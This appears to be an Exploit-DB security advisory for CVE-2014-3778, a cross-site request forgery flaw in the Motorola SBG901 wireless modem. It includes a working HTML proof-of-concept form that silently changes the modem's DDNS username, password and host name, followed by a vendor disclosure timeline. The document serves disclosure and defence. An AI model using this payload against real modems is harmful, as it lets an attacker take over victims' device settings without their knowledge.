Motorola SBG901 Wireless Modem – Cross-Site Request Forgery

  • 作者: Blessen Thomas
    日期: 2014-06-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/33792/
  • Exploit Title :Motorola SBG901 Wireless Modem CSRF Vulnerability
    Google dork : N/A
    Exploit Author: Blessen Thomas
    Date : 06/01/2014
    Vendor Homepage : http://www.arrisi.com/modems/
    Software Link : N/A
    Version : Motorola SBG901 Wireless modem
    Tested on : Windows 7
    CVE : CVE-2014-3778
    Type of Application :Web application
    Release mode : Coordinated disclosure
    
    Vulnerability description:
    It was observed that this modem's Web Application , is vulnerable to
    Cross-site request forgery through which attacker could manipulate user
    data via sending the victim malicious crafted url.
    
    At attacker could change the username,password ,dns service and host name
    of the victim's account without the victim's knowledge.
    
    Cross site request forgery
    x.x.x.x is the ip address of the modem.
    
    
    
    <html>
    <!-- CSRF PoC --->
    <body>
    <form action="http://x.x.x.x/goform/RgDdns" method="POST">
    <input type="hidden" name="DdnsService" value="1" />
    <input type="hidden" name="DdnsUserName" value="test" />
    <input type="hidden" name="DdnsPassword" value="test" />
    <input type="hidden" name="DdnsHostName" value="test" />
    <input type="submit" value="Submit form" />
    </form>
    </body>
    </html>
    
    Tools used :
    Mozilla firefox browser v28.0 , Burp proxy free edition v1.5
    
    Timeline:
    - 31-03-14: Contacted Vendor with details of Vulnerability and Exploit.
    - 01-04-14: Vendor ARRIS (formerly Motorola) forwards to Surfboard Gateway
    product team for review
    - 15-04-14: Vendor contacted to know the status.
    - 01-05-14 : Contacted vendor to know the status and release the advisory
    publically
    - 02-05-14: Vendor acknowledged and responded that currently no fix
    available since the product is no longer in production and due end of life
    status product
    -14-05-14: Contacted vendor the final time to release the security advisory
     publically.
    -14-05-14 : Vendor responded to release the advisory publically.
    -15-05-14: Requested CVE ID from Mitre team
    -22-05-14: CVE ID obtained